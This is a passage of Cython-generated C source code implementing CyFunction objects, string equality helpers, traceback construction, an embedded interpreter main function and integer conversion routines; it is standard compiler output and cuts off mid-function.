0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) { if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); __Pyx__CyFunction_dealloc(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS arg0 = PyTuple_GET_ITEM(arg, 0); #else arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; #endif result = (*meth)(self, arg0); #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) Py_DECREF(arg0); #endif return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (unlikely(__pyx_CyFunctionType == NULL)) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (unlikely(!m->defaults)) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* BytesEquals */ static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { #if CYTHON_COMPILING_IN_PYPY return PyObject_RichCompareBool(s1, s2, equals); #else if (s1 == s2) { return (equals == Py_EQ); } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { const char *ps1, *ps2; Py_ssize_t length = PyBytes_GET_SIZE(s1); if (length != PyBytes_GET_SIZE(s2)) return (equals == Py_NE); ps1 = PyBytes_AS_STRING(s1); ps2 = PyBytes_AS_STRING(s2); if (ps1[0] != ps2[0]) { return (equals == Py_NE); } else if (length == 1) { return (equals == Py_EQ); } else { int result; #if CYTHON_USE_UNICODE_INTERNALS Py_hash_t hash1, hash2; hash1 = ((PyBytesObject*)s1)->ob_shash; hash2 = ((PyBytesObject*)s2)->ob_shash; if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { return (equals == Py_NE); } #endif result = memcmp(ps1, ps2, (size_t)length); return (equals == Py_EQ) ? (result == 0) : (result != 0); } } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { return (equals == Py_NE); } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { return (equals == Py_NE); } else { int result; PyObject* py_result = PyObject_RichCompare(s1, s2, equals); if (!py_result) return -1; result = __Pyx_PyObject_IsTrue(py_result); Py_DECREF(py_result); return result; } #endif } /* UnicodeEquals */ static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { #if CYTHON_COMPILING_IN_PYPY return PyObject_RichCompareBool(s1, s2, equals); #else #if PY_MAJOR_VERSION < 3 PyObject* owned_ref = NULL; #endif int s1_is_unicode, s2_is_unicode; if (s1 == s2) { goto return_eq; } s1_is_unicode = PyUnicode_CheckExact(s1); s2_is_unicode = PyUnicode_CheckExact(s2); #if PY_MAJOR_VERSION < 3 if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { owned_ref = PyUnicode_FromObject(s2); if (unlikely(!owned_ref)) return -1; s2 = owned_ref; s2_is_unicode = 1; } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { owned_ref = PyUnicode_FromObject(s1); if (unlikely(!owned_ref)) return -1; s1 = owned_ref; s1_is_unicode = 1; } else if (((!s2_is_unicode) & (!s1_is_unicode))) { return __Pyx_PyBytes_Equals(s1, s2, equals); } #endif if (s1_is_unicode & s2_is_unicode) { Py_ssize_t length; int kind; void *data1, *data2; if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) return -1; length = __Pyx_PyUnicode_GET_LENGTH(s1); if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { goto return_ne; } #if CYTHON_USE_UNICODE_INTERNALS { Py_hash_t hash1, hash2; #if CYTHON_PEP393_ENABLED hash1 = ((PyASCIIObject*)s1)->hash; hash2 = ((PyASCIIObject*)s2)->hash; #else hash1 = ((PyUnicodeObject*)s1)->hash; hash2 = ((PyUnicodeObject*)s2)->hash; #endif if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { goto return_ne; } } #endif kind = __Pyx_PyUnicode_KIND(s1); if (kind != __Pyx_PyUnicode_KIND(s2)) { goto return_ne; } data1 = __Pyx_PyUnicode_DATA(s1); data2 = __Pyx_PyUnicode_DATA(s2); if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { goto return_ne; } else if (length == 1) { goto return_eq; } else { int result = memcmp(data1, data2, (size_t)(length * kind)); #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_EQ) ? (result == 0) : (result != 0); } } else if ((s1 == Py_None) & s2_is_unicode) { goto return_ne; } else if ((s2 == Py_None) & s1_is_unicode) { goto return_ne; } else { int result; PyObject* py_result = PyObject_RichCompare(s1, s2, equals); if (!py_result) return -1; result = __Pyx_PyObject_IsTrue(py_result); Py_DECREF(py_result); return result; } return_eq: #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_EQ); return_ne: #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_NE); #endif } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* CLineInTraceback */ #ifndef CYTHON_CLINE_IN_TRACEBACK static int __Pyx_CLineForTraceback(CYTHON_UNUSED PyThreadState *tstate, int c_line) { PyObject *use_cline; PyObject *ptype, *pvalue, *ptraceback; #if CYTHON_COMPILING_IN_CPYTHON PyObject **cython_runtime_dict; #endif __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); #if CYTHON_COMPILING_IN_CPYTHON cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); if (likely(cython_runtime_dict)) { use_cline = __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback); } else #endif { PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); if (use_cline_obj) { use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; Py_DECREF(use_cline_obj); } else { PyErr_Clear(); use_cline = NULL; } } if (!use_cline) { c_line = 0; PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); } else if (PyObject_Not(use_cline) != 0) { c_line = 0; } __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); return c_line; } #endif /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; PyThreadState *tstate = __Pyx_PyThreadState_Current; if (c_line) { c_line = __Pyx_CLineForTraceback(tstate, c_line); } py_code = __pyx_find_code_object(c_line ? -c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); } py_frame = PyFrame_New( tstate, /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* None */ #ifdef __FreeBSD__ #include <floatingpoint.h> #endif #if PY_MAJOR_VERSION < 3 int main(int argc, char** argv) { #elif defined(WIN32) || defined(MS_WINDOWS) int wmain(int argc, wchar_t **argv) { #else static int __Pyx_main(int argc, wchar_t **argv) { #endif /* 754 requires that FP exceptions run in "no stop" mode by default, * and until C vendors implement C99's ways to control FP exceptions, * Python requires non-stop mode. Alas, some platforms enable FP * exceptions by default. Here we disable them. */ #ifdef __FreeBSD__ fp_except_t m; m = fpgetmask(); fpsetmask(m & ~FP_X_OFL); #endif if (argc && argv) Py_SetProgramName(argv[0]); Py_Initialize(); if (argc && argv) PySys_SetArgv(argc, argv); { PyObject* m = NULL; __pyx_module_is_main_Devel____main__ = 1; #if PY_MAJOR_VERSION < 3 init__main__(); #elif CYTHON_PEP489_MULTI_PHASE_INIT m = PyInit___main__(); if (!PyModule_Check(m)) { PyModuleDef *mdef = (PyModuleDef *) m; PyObject *modname = PyUnicode_FromString("__main__"); m = NULL; if (modname) { m = PyModule_NewObject(modname); Py_DECREF(modname); if (m) PyModule_ExecDef(m, mdef); } } #else m = PyInit___main__(); #endif if (PyErr_Occurred()) { PyErr_Print(); #if PY_MAJOR_VERSION < 3 if (Py_FlushLine()) PyErr_Clear(); #endif return 1; } Py_XDECREF(m); } Py_Finalize(); return 0; } #if PY_MAJOR_VERSION >= 3 && !defined(WIN32) && !defined(MS_WINDOWS) #include <locale.h> static wchar_t* __Pyx_char2wchar(char* arg) { wchar_t *res; #ifdef HAVE_BROKEN_MBSTOWCS /* Some platforms have a broken implementation of * mbstowcs which does not count the characters that * would result from conversion. Use an upper bound. */ size_t argsize = strlen(arg); #else size_t argsize = mbstowcs(NULL, arg, 0); #endif size_t count; unsigned char *in; wchar_t *out; #ifdef HAVE_MBRTOWC mbstate_t mbs; #endif if (argsize != (size_t)-1) { res = (wchar_t *)malloc((argsize+1)*sizeof(wchar_t)); if (!res) goto oom; count = mbstowcs(res, arg, argsize+1); if (count != (size_t)-1) { wchar_t *tmp; /* Only use the result if it contains no surrogate characters. */ for (tmp = res; *tmp != 0 && (*tmp < 0xd800 || *tmp > 0xdfff); tmp++) ; if (*tmp == 0) return res; } free(res); } #ifdef HAVE_MBRTOWC /* Overallocate; as multi-byte characters are in the argument, the actual output could use less memory. */ argsize = strlen(arg) + 1; res = (wchar_t *)malloc(argsize*sizeof(wchar_t)); if (!res) goto oom; in = (unsigned char*)arg; out = res; memset(&mbs, 0, sizeof mbs); while (argsize) { size_t converted = mbrtowc(out, (char*)in, argsize, &mbs); if (converted == 0) break; if (converted == (size_t)-2) { /* Incomplete character. This should never happen, since we provide everything that we have - unless there is a bug in the C library, or I misunderstood how mbrtowc works. */ fprintf(stderr, "unexpected mbrtowc result -2\\n"); free(res); return NULL; } if (converted == (size_t)-1) { /* Conversion error. Escape as UTF-8b, and start over in the initial shift state. */ *out++ = 0xdc00 + *in++; argsize--; memset(&mbs, 0, sizeof mbs); continue; } if (*out >= 0xd800 && *out <= 0xdfff) { /* Surrogate character. Escape the original byte sequence with surrogateescape. */ argsize -= converted; while (converted--) *out++ = 0xdc00 + *in++; continue; } in += converted; argsize -= converted; out++; } #else /* Cannot use C locale for escaping; manually escape as if charset is ASCII (i.e. escape all bytes > 128. This will still roundtrip correctly in the locale's charset, which must be an ASCII superset. */ res = (wchar_t *)malloc((strlen(arg)+1)*sizeof(wchar_t)); if (!res) goto oom; in = (unsigned char*)arg; out = res; while(*in) if(*in < 128) *out++ = *in++; else *out++ = 0xdc00 + *in++; *out = 0; #endif return res; oom: fprintf(stderr, "out of memory\\n"); return NULL; } int main(int argc, char **argv) { if (!argc) { return __Pyx_main(0, NULL); } else { int i, res; wchar_t **argv_copy = (wchar_t **)malloc(sizeof(wchar_t*)*argc); wchar_t **argv_copy2 = (wchar_t **)malloc(sizeof(wchar_t*)*argc); char *oldloc = strdup(setlocale(LC_ALL, NULL)); if (!argv_copy || !argv_copy2 || !oldloc) { fprintf(stderr, "out of memory\\n"); free(argv_copy); free(argv_copy2); free(oldloc); return 1; } res = 0; setlocale(LC_ALL, ""); for (i = 0; i < argc; i++) { argv_copy2[i] = argv_copy[i] = __Pyx_char2wchar(argv[i]); if (!argv_copy[i]) res = 1; } setlocale(LC_ALL, oldloc); free(oldloc); if (res == 0) res = __Pyx_main(argc, argv_copy); for (i = 0; i < argc; i++) { free(argv_copy2[i]); } free(argv_copy); free(argv_copy2); return res; } } #endif /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) 